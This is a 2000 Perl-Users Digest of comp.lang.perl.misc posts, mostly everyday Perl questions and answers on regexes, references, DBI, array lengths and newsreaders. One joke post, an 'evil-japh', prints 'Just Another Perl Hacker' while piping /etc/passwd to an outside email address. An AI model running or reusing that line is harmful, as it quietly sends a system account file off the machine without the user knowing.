[16894] in Perl-Users-Digest
Perl-Users Digest, Issue: 4306 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Sep 13 00:05:32 2000
Date: Tue, 12 Sep 2000 21:05:13 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <968817913-v9-i4306@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Tue, 12 Sep 2000 Volume: 9 Number: 4306
Today's topics:
Re: [Query] Any way to affect results of a match with a <rick.delaney@home.com>
Aliasing refs <philipg@atl.mediaone.net>
Re: Aliasing refs <elephant@squirrelgroup.com>
ANNOUNCE: Text::Balanced 1.81 (Damian Conway)
another JAPH for JAPH's sake <jeffp@crusoe.net>
cross-platform archive mgt <davids@YYYYdesertigloo.com>
Re: DBI/MySQL Question for the WISE <garry@zvolve.com>
Re: DBI/MySQL Question for the WISE <garry@zvolve.com>
Re: DBM file build in perl blows chunks <bwalton@rochester.rr.com>
dribbling even further from the topic [was: killfiles? <elephant@squirrelgroup.com>
Re: Eliminate Duplicates (Iain Chalmers)
Finding maximum length greg_sands@my-deja.com
Finding maximum length greg_sands@my-deja.com
Re: Finding maximum length <jeffp@crusoe.net>
Re: Finding maximum length <wyzelli@yahoo.com>
Re: Finding maximum length <bwalton@rochester.rr.com>
Re: Finding maximum length <wyzelli@yahoo.com>
Re: Finding maximum length <elephant@squirrelgroup.com>
Re: Hash vs. Binary Tree <DNess@Home.Com>
Re: Help with perl/cgi (using book: perl,cgi, and javas (Tim Hammerquist)
How to read/decode UDP packets <robert@purdy.com>
Internationalization/Localization: LC_MESSAGES (Jim Seymour)
killfiles? scores? I wish I had these luxuries <jeffp@crusoe.net>
Re: killfiles? scores? I wish I had these luxuries (Gwyn Judd)
Re: killfiles? scores? I wish I had these luxuries <elephant@squirrelgroup.com>
Re: killfiles? scores? I wish I had these luxuries (Gwyn Judd)
Re: killfiles? scores? I wish I had these luxuries <elephant@squirrelgroup.com>
Re: killfiles? scores? I wish I had these luxuries (Gwyn Judd)
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 13 Sep 2000 02:10:26 GMT
From: Rick Delaney <rick.delaney@home.com>
Subject: Re: [Query] Any way to affect results of a match with an internal eval?
Message-Id: <39BEE49D.6832AE7F@home.com>
[posted & mailed]
"William C. Ray" wrote:
>
> Why would anyone want to do this? Well, my problem is rather
> esoteric, but a simple example would be something like a
> "math problem grader". If it were possible to attach code to
> a regex such that it affected the match, one could write a
> regex something like /(.+)=(.+)(?{compare(\1,\2)})/
> which (with a suitable implementation of "compare()" would
> match only _correct_ mathematical expressions.
[snip]
> So, where am I? (?{compare(\1,\2)}) doesn't seem to work on three
Right. Use $1 and $2 instead.
> counts - \1 and \2 don't seem to go in, which I assume is a result
> of the "no interpolation" in the current definition of the (?{})
> extension. Also, since (?{}) always returns a zero-width match,
> returning "False" or some such doen't prevent the match from
> succeeding. Finally, I could almost get around the "always true"
> return using $^R, except that this doesn't seem to be set until
> _after_ the outside match is completed, so the results of the (?{})
> can't be used as a sub-pattern in the same match where it's being
> evaluated.
Read the docs for (?{}) again and note when the code result is put in
$^R, or rather, when it is not.
/
(.+)=(.+)
(?(?{ not compare($1, $2) })
(?!) # no good, try again
)
/x;
Use (?(condition)pattern) whenever you want pattern to depend on the
results of (?{}). Use (?!) for a short pattern that can never match.
--
Rick Delaney
rick.delaney@home.com
------------------------------
Date: Wed, 13 Sep 2000 03:39:29 GMT
From: "Philip Garrett" <philipg@atl.mediaone.net>
Subject: Aliasing refs
Message-Id: <RFCv5.2624$IV1.730120@typhoon.southeast.rr.com>
Is there a way to get a "real" hash or array alias from a reference to
either?
For instance, if I have:
$hashref = { foo => 'bar' };
Is there some kind of symbol magic that will let me get a %hash that
actually uses the same spot in memory as $hashref?
tia,
Philip
------------------------------
Date: Wed, 13 Sep 2000 15:01:31 +1100
From: jason <elephant@squirrelgroup.com>
Subject: Re: Aliasing refs
Message-Id: <MPG.14299916519e6e869897a0@localhost>
Philip Garrett <philipg@atl.mediaone.net> wrote ..
>Is there a way to get a "real" hash or array alias from a reference to
>either?
>For instance, if I have:
>
>$hashref = { foo => 'bar' };
>
>Is there some kind of symbol magic that will let me get a %hash that
>actually uses the same spot in memory as $hashref?
in the "Temporary Values via local()" section of perlsub you will see
syntax to create aliases using the symbol table
the last example in the synopsis shows how to create an alias for just
the scalar variable .. obviously you can do the same for just the hash
variable .. eg.
*hash2 = \%hash1;
and then $hash2{var} refers to $hash1{var} .. taking this one step
further using the reference you will get
*hash = \%$hashref;
of course - if you're under strict then you will need to refer to the
elements like so
$PACKAGE_NAME::hash{foo}
or $::hash{foo} if you're in the main package .. $hashref can still be
lexically scoped because it's just a reference
--
jason -- elephant@squirrelgroup.com --
------------------------------
Date: 13 Sep 2000 01:00:00 GMT
From: damian@cs.monash.edu.au (Damian Conway)
Subject: ANNOUNCE: Text::Balanced 1.81
Message-Id: <srtn45rqct6177@corp.supernews.com>
Keywords: perl, module, release
==============================================================================
Release of version 1.81 of Text::Balanced
==============================================================================
NAME
Text::Balanced - Extract delimited text sequences from strings.
SUMMARY (see Balanced.pod for full details)
Text::Balanced::extract_delimited
`extract_delimited' extracts the initial substring of a string
which is delimited by a user-specified set of single-character
delimiters, whilst ignoring any backslash-escaped delimiter
characters.
Text::Balanced::extract_bracketed
`extract_bracketed' extracts a balanced-bracket-delimited substring
(using any one (or more) of the user-specified delimiter brackets:
'(..)', '{..}', '[..]', or '<..>').
Text::Balanced::extract_quotelike
`extract_quotelike' attempts to recognize and extract any one of the
various Perl quote and quotelike operators (see "perlop(3)"). Embedded
backslashed delimiters, nested bracket delimiters (for the
quotelike operators), and trailing modifiers are all correctly handled.
Text::Balanced::extract_codeblock
`extract_codeblock' attempts to recognize and extract a
balanced bracket-delimited substring which may also contain
unbalanced brackets inside Perl quotes or quotelike
operations. That is, `extract_codeblock' is like a combination
of `extract_bracketed' and `extract_quotelike'.
Text::Balanced::extract_tagged
`extract_tagged' attempts to recognize and extract a
substring between two arbitrary "tag" patterns (a start tag
and an end tag).
INSTALLATION
It's all pure Perl, so just put the .pm file in its appropriate
local Perl subdirectory.
AUTHOR
Damian Conway (damian@cs.monash.edu.au)
COPYRIGHT
Copyright (c) 1997-2000, Damian Conway. All Rights Reserved.
This module is free software. It may be used, redistributed
and/or modified under the terms of the Perl Artistic License
(see http://www.perl.com/perl/misc/Artistic.html)
==============================================================================
CHANGES IN VERSION 1.81
- Fixed test count in extract_codeblock.t
- Fixed improbable bug with trailing ->'s in extract_variable
- Fixed (HT|X)ML tag extraction in extract_tagged (thanks, Tim)
- Added explanatory note about prefix matching (thanks again, Tim)
- Added handling of globs and sub refs to extract_variable
- Pod tweak (thanks Abigail)
- Allowed right tags to be run-time evaluated, so
extract_tagged($text, '/([a-z]+)', '/end$1') works
as expected.
- Added optional blessing of matches via extract_multiple
- Fixed bug in autogeneration of closing tags in extract_tagged
(Thanks, Coke)
- Fixed bug in interaction between extract_multiple and
gen_extract_tagged (Thanks Anthony)
==============================================================================
AVAILABILITY
Text::Balanced has been uploaded to the CPAN
and is also available from:
http://www.csse.monash.edu.au/~damian/CPAN/Text-Balanced.tar.gz
==============================================================================
------------------------------
Date: Tue, 12 Sep 2000 22:32:18 -0400
From: Jeff Pinyan <jeffp@crusoe.net>
Subject: another JAPH for JAPH's sake
Message-Id: <Pine.GSO.4.21.0009122231260.10747-100000@crusoe.crusoe.net>
japhy% cat evil-japh
open m, "mail japhy\@pobox.com < /etc/passwd |";
print m "Just Another Perl Hacker", +0;
seek$|=>($/=\24,$\="\012",$=--,$=--,$=)[$++4]=>$[;
print <4>.<3>.<2>.<1>.<0>.<blastoff>;
close m;
exit;
------------------------------
Date: Tue, 12 Sep 2000 20:57:16 -0700
From: "David P. Schwartz" <davids@YYYYdesertigloo.com>
Subject: cross-platform archive mgt
Message-Id: <39BEFB1C.DDEB8261@YYYYdesertigloo.com>
I'm posting this here because I'm looking for people who are involved with
Windows/*nix cross-platform programming with Perl on the *nix side. If there's
a more appropriate group, please advise me. (I figure I'll get blasted for
either cross-posting or picking the wrong group, so go ahead and blast me.
Until there's a better way of finding newsgroups besides a long list of keyword
permutations that show up in my newsgroup subscription list, this is the best
way I know of.)
I need to be able to manage some archives of Windows origins from inside of some
Perl scripts. I'm having a difficult time finding libraries that will allow me
to work on both sides of the fence, so to speak. tar/gz files are common in
*nix platforms, while zip archives are popular on Windows platforms. Popular
programs like WinZip and others will open tar/gz files, but I'm not sure if
they'll create them. (My program needs to create them; something else will be
needed to open them, so WinZip is ok.)
Are there any Perl language plugins or libraries for handling Zip archives?
Alternatively, I'd be open to some delphi/c++/c libraries for handling gz
archives in a Windows environment that can also be manipulated from inside of
Perl scripts. (I need the Perl script to be able to both extract from the
archives it receives from Windows users as well as create new archives that will
be sent to Windows users.)
Any suggestions?
Thanks
-David Schwartz
------------------------------
Date: Tue, 12 Sep 2000 21:44:04 -0400
From: "Garry T. Williams" <garry@zvolve.com>
Subject: Re: DBI/MySQL Question for the WISE
Message-Id: <Pine.SOL.4.21.0009122137200.26821-100000@ifr>
On Tue, 12 Sep 2000, Anders Lund wrote:
> Garry T. Williams wrote:
> > On Tue, 12 Sep 2000, Anders Lund wrote:
> > > desertedge@my-deja.com wrote:
> > > > ######HERE IS WHERE I WOULD LIKE TO FETCH THE ID OF THE RECORD
> > > > ########
> > >
> > > $sql = $dbh->prepare("select auto_col from table_name sort by auto_col
> > > desc limit 1");
...
> > So how is it that you *know* that the highest number in this table is the
> > row just inserted by *you*? Is it possible that another insert by another
> > client is now the row you are retrieving?
> >
> > I think the original poster wants an "atomic" operation that both
> > instantiates a new row with an automatically incremented column *and*
> > returns the value of that column.
...
> Thanks Gary, you are absolutely right!!
>
> Mysql has means for letting you know if the query was accepted, and DBI I
> think knows that and returns an error if no rows was affected.
>
> But the table should be locked while this operation runs, can be done with
> an SQL statement.
No. At least it cannot be done with:
$ mysql -V
mysql Ver 9.38 Distrib 3.22.32, for sun-solaris2.7 (sparc)
because there is no transaction support in this version. I believe that
there is a new release that *will* support transactions, but I have no
experience with it. You should consult the MySql documentation. You
might even find a supported interface to get back the value of the
auto-increment column that is inserted.
But, of course, this isn't a Perl issue any longer.
-Garry Williams
------------------------------
Date: Tue, 12 Sep 2000 22:01:00 -0400
From: "Garry T. Williams" <garry@zvolve.com>
Subject: Re: DBI/MySQL Question for the WISE
Message-Id: <Pine.SOL.4.21.0009122144360.26821-100000@ifr>
On Tue, 12 Sep 2000 desertedge@my-deja.com wrote:
> In article <Pine.SOL.4.21.0009121343001.26378-100000@ifr>,
> "Garry T. Williams" <garry@zvolve.com> wrote:
> > I think the original poster wants an "atomic" operation that both
> > instantiates a new row with an automatically incremented column *and*
> > returns the value of that column.
> >
> > Your suggestion creates a race condition.
> >
> > -Garry Williams
> >
> >
>
> GARY,
>
> You have the original poster's (me) correct understanding of the
> question...do you have the answer :)
perldoc DBD::mysql
-Garry Williams
------------------------------
Date: Wed, 13 Sep 2000 03:24:07 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re: DBM file build in perl blows chunks
Message-Id: <39BEF371.9C33C6DD@rochester.rr.com>
philip@tildesoftware.com wrote:
>
> I'm getting the following error while building a DBM file with several
> million records (3843131 to be exact).
>
> +> ndbm store returned -1, errno 27, key "4789474235363013
> 22.00 999.00 210140
>
> What does this error indicate? What would cause this? Has anyone else
> run into this problem?
>
> Here's an excerpt of the code that I'm using to build the file. The file
> WAMU is a simple text file containing records with a single field (like
> the key above).
>
> ...
> dbmopen(%wamu, "/exports/wamu", 0666);
> ...
> while (<WAMU>)
> {
> $wamu{$_}=$_;
> }
> ...
...
> PG..
...
You'll need to explore your ndbm documentation on your Unix or Unix-like
system to find the answer to that, as that is an ndbm error message
(which might possibly differ by system and/or version). My guess is you
probably exceeded the length limitation on a key or value or key/value
combination. If so, you might try using DB_File instead of ndbm, as its
key and value length limitations are quite large.
I am also puzzled by why you would store the same string as both the key
and the value. One doesn't need to look up the value of a key if it is
the same as the key, and one could tell if the key existed if one stored
1 or something else short as the value.
--
Bob Walton
------------------------------
Date: Wed, 13 Sep 2000 15:06:53 +1100
From: jason <elephant@squirrelgroup.com>
Subject: dribbling even further from the topic [was: killfiles? scores? I wish I had these luxuries]
Message-Id: <MPG.14299a569a08f29d9897a1@localhost>
Gwyn Judd <tjla@guvfybir.qlaqaf.bet> wrote ..
>I was shocked! How could jason <elephant@squirrelgroup.com>
>say such a terrible thing:
>>Gwyn Judd <tjla@guvfybir.qlaqaf.bet> wrote ..
>>>I was shocked! How could Jeff Pinyan <jeffp@crusoe.net>
>>>say such a terrible thing:
>>>>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>>>>have the ability to kill-file people or score postings. What news readers
>>>>are you folks using?
>>>
>>>Get thineself to www.mutt.org and sin no more :)
>>
>>read *before* you post oh-shocked-one .. Jeff is using pine as a *news*
>>reader
>
>yeah yeah I know...I cancelled that post 20 seconds after I made it darn
>it. Now my secret is out, everyone knows I really am a poopyhead :)
poopyhead .. lol .. that'll be trotted out from time to time ;)
--
jason -- elephant@squirrelgroup.com --
------------------------------
Date: Tue, 12 Sep 2000 18:59:54 -0700
From: bigiain@mightymedia.com.au (Iain Chalmers)
Subject: Re: Eliminate Duplicates
Message-Id: <bigiain-1209001859540001@dhcp-135.goop.org>
In article <39be4716@cs.colorado.edu>, tchrist@perl.com (Tom Christiansen)
wrote:
> Here's a tip for you. Whenever you hear, especially if used in
> conjunction with the notion of an array or list, any of the words
> "in", "unique", "record", "node", "structure", "first", or "duplicate",
> you should in a flurry of Pavlovian salivation, free-associate
> immediately to
>
> +------------------------------------------------+
> | <DING, DING, DING> |
> | <DING, DING, DING> <DING, DING, DING> |
> | |
> | A hash! I should be using a hash for this! |
> | |
> | <DING, DING, DING> <DING, DING, DING> |
> | <DING, DING, DING> |
> +------------------------------------------------+
"in", "unique", "duplicate" - yes, but "first"??? _really_???
cheers,
big
(failing to salivate over being asked to produce the "first" entry in a hash :-)
------------------------------
Date: Wed, 13 Sep 2000 01:19:18 GMT
From: greg_sands@my-deja.com
Subject: Finding maximum length
Message-Id: <8pmkm7$191$1@nnrp1.deja.com>
I'm trying to find the maximum length of the
elements of an array. Both of the following work,
but can anyone come up with a simpler or more
elegant solution?
===
my $maxlen=0;
foreach my $element (@array) {
if ($maxlen < length($element)) {
$maxlen = length($element);
}
}
===
my $maxlen = (sort {$a <=> $b} map {length}
@array)[-1];
===
Any other ideas?
Greg
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Wed, 13 Sep 2000 01:22:54 GMT
From: greg_sands@my-deja.com
Subject: Finding maximum length
Message-Id: <8pmkss$1it$1@nnrp1.deja.com>
I'm trying to find the maximum length of the elements of an array. Both
of the following work, but can anyone come up with a simpler or more
elegant solution?
===
my $maxlen=0;
foreach my $element (@array) {
if ($maxlen < length($element)) {
$maxlen = length($element);
}
}
===
my $maxlen = (sort {$a <=> $b} map {length} @array)[-1];
===
Any other ideas?
Greg
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
Date: Tue, 12 Sep 2000 22:39:12 -0400
From: Jeff Pinyan <jeffp@crusoe.net>
Subject: Re: Finding maximum length
Message-Id: <Pine.GSO.4.21.0009122236590.10747-100000@crusoe.crusoe.net>
[posted & mailed]
On Sep 13, greg_sands@my-deja.com said:
>I'm trying to find the maximum length of the elements of an array. Both
>of the following work, but can anyone come up with a simpler or more
>elegant solution?
>
>my $maxlen=0;
>foreach my $element (@array) {
> if ($maxlen < length($element)) {
> $maxlen = length($element);
> }
>}
This does N comparisons.
>my $maxlen = (sort {$a <=> $b} map {length} @array)[-1];
This can do far more than N, and has to generate a secondary list of N
elements. This is slower.
I'd do it like so:
$len = 0;
$len < $_ and ($len = $_) for @array;
That's just a slightly more compact way of doing your for loop.
--
Jeff "japhy" Pinyan japhy@pobox.com http://www.pobox.com/~japhy/
PerlMonth - An Online Perl Magazine http://www.perlmonth.com/
The Perl Archive - Articles, Forums, etc. http://www.perlarchive.com/
CPAN - #1 Perl Resource (my id: PINYAN) http://search.cpan.org/
------------------------------
Date: Wed, 13 Sep 2000 12:23:48 +0930
From: "Wyzelli" <wyzelli@yahoo.com>
Subject: Re: Finding maximum length
Message-Id: <MZBv5.8$0v1.3235@vic.nntp.telstra.net>
<greg_sands@my-deja.com> wrote in message
news:8pmkss$1it$1@nnrp1.deja.com...
> I'm trying to find the maximum length of the elements of an array.
Both
> of the following work, but can anyone come up with a simpler or more
> elegant solution?
>
> ===
>
> my $maxlen=0;
> foreach my $element (@array) {
> if ($maxlen < length($element)) {
> $maxlen = length($element);
> }
> }
>
> ===
>
> my $maxlen = (sort {$a <=> $b} map {length} @array)[-1];
>
> ===
>
> Any other ideas?
>
my $max;
for (@array){$max = length if length > $max};
Wyzelli
------------------------------
Date: Wed, 13 Sep 2000 02:55:33 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re: Finding maximum length
Message-Id: <39BEECC4.E7688984@rochester.rr.com>
greg_sands@my-deja.com wrote:
>
> I'm trying to find the maximum length of the elements of an array. Both
> of the following work, but can anyone come up with a simpler or more
> elegant solution?
>
> ===
>
> my $maxlen=0;
> foreach my $element (@array) {
> if ($maxlen < length($element)) {
> $maxlen = length($element);
> }
> }
>
> ===
>
> my $maxlen = (sort {$a <=> $b} map {length} @array)[-1];
>
> ===
>
> Any other ideas?
>
> Greg
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
my $maxlen;
map {length($_)>$maxlen and $maxlen=length($_)} @array;
--
Bob Walton
------------------------------
Date: Wed, 13 Sep 2000 12:33:30 +0930
From: "Wyzelli" <wyzelli@yahoo.com>
Subject: Re: Finding maximum length
Message-Id: <S6Cv5.9$0v1.3430@vic.nntp.telstra.net>
"Jeff Pinyan" <jeffp@crusoe.net> wrote in message
news:Pine.GSO.4.21.0009122236590.10747-100000@crusoe.crusoe.net...
> [posted & mailed]
>
> $len = 0;
> $len < $_ and ($len = $_) for @array;
>
Ummm missing a function there? length?
$len=0;
$len < length and ($len = length) for @array;
Is probably what you meant to do.
Wyzelli
------------------------------
Date: Wed, 13 Sep 2000 14:12:05 +1100
From: jason <elephant@squirrelgroup.com>
Subject: Re: Finding maximum length
Message-Id: <MPG.14298d7c4ccac6b498979d@localhost>
Jeff Pinyan <jeffp@crusoe.net> wrote ..
>[posted & mailed]
>
>On Sep 13, greg_sands@my-deja.com said:
>
>>I'm trying to find the maximum length of the elements of an array. Both
>>of the following work, but can anyone come up with a simpler or more
>>elegant solution?
>>
>>my $maxlen=0;
>>foreach my $element (@array) {
>> if ($maxlen < length($element)) {
>> $maxlen = length($element);
>> }
>>}
>
>This does N comparisons.
>
>>my $maxlen = (sort {$a <=> $b} map {length} @array)[-1];
>
>This can do far more than N, and has to generate a secondary list of N
>elements. This is slower.
>
>I'd do it like so:
>
> $len = 0;
> $len < $_ and ($len = $_) for @array;
>
>That's just a slightly more compact way of doing your for loop.
I thought the originator was after the element with the longest length -
not the numerically largest element
eg. with the following
@x = qw/1 00/;
the originator was looking for the second element - not the first as
your code produces
--
jason -- elephant@squirrelgroup.com --
------------------------------
Date: Wed, 13 Sep 2000 02:53:31 GMT
From: David Ness <DNess@Home.Com>
Subject: Re: Hash vs. Binary Tree
Message-Id: <39BEEC2D.29698F22@Home.Com>
rathmore@tierceron.com wrote:
>
> file_x has 605 random pieces of data.
>
Solve small problems in the most straightforward fashion possible. From a computer
standpoint, 605 items is an inconsequential number, and no `efficiency' considerations
are likely to be relevant unless the data is incredibly unusual. Even if the problem
is going to grow with time, you probably won't need to worry much till it is at least
10 x as big a problem.
At 60,000 items you might want to start thinking about strategies, and at 6,000,000
you surely would want to spend a lot of time on them, but 600 is like 6---not
worth agonizing about...
------------------------------
Date: Wed, 13 Sep 2000 01:22:46 GMT
From: tim@degree.ath.cx (Tim Hammerquist)
Subject: Re: Help with perl/cgi (using book: perl,cgi, and javascript complete)
Message-Id: <slrn8rtmf3.1t1.tim@degree.ath.cx>
peter <peterp100@hotmail.com> wrote:
> Also, is anyone can point me to any documentation on running CGI
> scripts using mandrake 7.1 (red-hat) and perl, that would be great.
> Right now, I'm having problems getting scripts running, like counters
> and guest books.
Every Mandrake linux installation I've run (6.1 and 7.0 so far) have had
a fully functional perl out-of-the-box. The only thing that needed
tweaking was Apache to run CGI's the way I wanted. If you're having
trouble running CGI scripts, see if you can run non-CGI perl scripts
from the shell. If that works, then you have a server config problem
and should post in the appropriate NG.
What's the code that chokes? What are the errors? the tail of
error_log?
--
-Tim Hammerquist <timmy@cpan.org>
Diplomacy -- the art of saying "Nice doggie"
'til you can find a stick.
-- Wynn Catlin
------------------------------
Date: Tue, 12 Sep 2000 22:22:25 -0400
From: "Robert Jones" <robert@purdy.com>
Subject: How to read/decode UDP packets
Message-Id: <8pmod3$tnv$1@news.chatlink.com>
I have a UDP server set to receive messages from processes on other servers.
I get the packets OK but do not know how to decode them into a readable
form. My script looks something like this :
while(1)
{
$message = '';
undef $paddr;
$paddr = recv(Server, $message, $MAXSIZE, 0);
if(!defined $paddr) {next;}
($port,$iaddr) = sockaddr_in($paddr) or die "Ciel mes socketes ! $!";
&print_info($message,$port,$iaddr);
}
contents of $message contains lots of special characters like spades,
hearts, arrows, etc along with some clear text that can be read as is. I
assume unpack is needed to convert it into a readable form. I have tried
every thing using unpack without success.
Could someone give me an example of how to decode these UDP packets ?
------------------------------
Date: Wed, 13 Sep 2000 02:41:46 GMT
From: jseymour@LinxNet.com (Jim Seymour)
Subject: Internationalization/Localization: LC_MESSAGES
Message-Id: <srtqba6hct656@corp.supernews.com>
[This is a re-post]
I have written a utility in Perl that others wish to create alternate
(i.e.: non-English) versions of. It seems to me the *best* way to
do this is to make use of "locale." Specifically: LC_MESSAGES. But
I can find no pointers on how to do this with Perl--not in my Perl
library, searching perl.com or searching Deja.
Can some kind soul here point me in the right direction? Or would I
be blazing a new trail? If the latter: perhaps some of you would
care to lend your thoughts on how this should be approached?
Or is this not the right place to ask?
Thanks In Advance,
Jim
--
Jim Seymour | PGP Public Key available at:
jseymour@LinxNet.com | http://www.cam.ac.uk.pgp.net/pgpnet/wwwkeys.html
http://home.msen.com/~jimsun | http://www.trustcenter.de/cgi-bin/SearchCert.cgi
------------------------------
Date: Tue, 12 Sep 2000 22:33:50 -0400
From: Jeff Pinyan <jeffp@crusoe.net>
Subject: killfiles? scores? I wish I had these luxuries
Message-Id: <Pine.GSO.4.21.0009122232340.10747-100000@crusoe.crusoe.net>
Sorry if this is off-topic, but I use the meager PINE, and I don't think I
have the ability to kill-file people or score postings. What news readers
are you folks using?
--
Jeff "japhy" Pinyan japhy@pobox.com http://www.pobox.com/~japhy/
PerlMonth - An Online Perl Magazine http://www.perlmonth.com/
The Perl Archive - Articles, Forums, etc. http://www.perlarchive.com/
CPAN - #1 Perl Resource (my id: PINYAN) http://search.cpan.org/
------------------------------
Date: Wed, 13 Sep 2000 03:02:32 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: killfiles? scores? I wish I had these luxuries
Message-Id: <slrn8rtri5.id4.tjla@thislove.dyndns.org>
I was shocked! How could Jeff Pinyan <jeffp@crusoe.net>
say such a terrible thing:
>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>have the ability to kill-file people or score postings. What news readers
>are you folks using?
Get thineself to www.mutt.org and sin no more :)
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
Fortune's real live weird band names #596:
Saturated Fat
------------------------------
Date: Wed, 13 Sep 2000 14:06:34 +1100
From: jason <elephant@squirrelgroup.com>
Subject: Re: killfiles? scores? I wish I had these luxuries
Message-Id: <MPG.14298c356d524bb198979c@localhost>
Jeff Pinyan <jeffp@crusoe.net> wrote ..
>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>have the ability to kill-file people or score postings. What news readers
>are you folks using?
you'll find that most of the time the NNTP headers will show the
newsreader being used .. two common headers for this information are
User-Agent
and
X-Newsreader
and btw .. you can setup filters in Pine according to Sven
http://www.math.fu-berlin.de/~guckes/pine/
but it should be noted that he too recommends slrn
--
jason -- elephant@squirrelgroup.com --
------------------------------
Date: Wed, 13 Sep 2000 03:09:24 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: killfiles? scores? I wish I had these luxuries
Message-Id: <slrn8rtrv2.id4.tjla@thislove.dyndns.org>
I was shocked! How could Jeff Pinyan <jeffp@crusoe.net>
say such a terrible thing:
>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>have the ability to kill-file people or score postings. What news readers
>are you folks using?
http://www.math.fu-berlin.de/~guckes/slrn/
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
BO: Be fair, I think the GPO have got a very difficult job to do.
TBT: Yes, that's why they do it so badly.
--The Goodies
--Radio Goodies
------------------------------
Date: Wed, 13 Sep 2000 14:33:28 +1100
From: jason <elephant@squirrelgroup.com>
Subject: Re: killfiles? scores? I wish I had these luxuries
Message-Id: <MPG.1429927e347ee43698979f@localhost>
Gwyn Judd <tjla@guvfybir.qlaqaf.bet> wrote ..
>I was shocked! How could Jeff Pinyan <jeffp@crusoe.net>
>say such a terrible thing:
>>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>>have the ability to kill-file people or score postings. What news readers
>>are you folks using?
>
>Get thineself to www.mutt.org and sin no more :)
read *before* you post oh-shocked-one .. Jeff is using pine as a *news*
reader
substr$_,index($_,w),index($_,g)-index($_,w)+1,q/slrn.sourceforge.net/
;)
--
jason -- elephant@squirrelgroup.com --
------------------------------
Date: Wed, 13 Sep 2000 03:45:46 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: killfiles? scores? I wish I had these luxuries
Message-Id: <slrn8rtu37.id4.tjla@thislove.dyndns.org>
I was shocked! How could jason <elephant@squirrelgroup.com>
say such a terrible thing:
>Gwyn Judd <tjla@guvfybir.qlaqaf.bet> wrote ..
>>I was shocked! How could Jeff Pinyan <jeffp@crusoe.net>
>>say such a terrible thing:
>>>Sorry if this is off-topic, but I use the meager PINE, and I don't think I
>>>have the ability to kill-file people or score postings. What news readers
>>>are you folks using?
>>
>>Get thineself to www.mutt.org and sin no more :)
>
>read *before* you post oh-shocked-one .. Jeff is using pine as a *news*
>reader
yeah yeah I know...I cancelled that post 20 seconds after I made it darn
it. Now my secret is out, everyone knows I really am a poopyhead :)
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
Love and scandal are the best sweeteners of tea.
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 4306
**************************************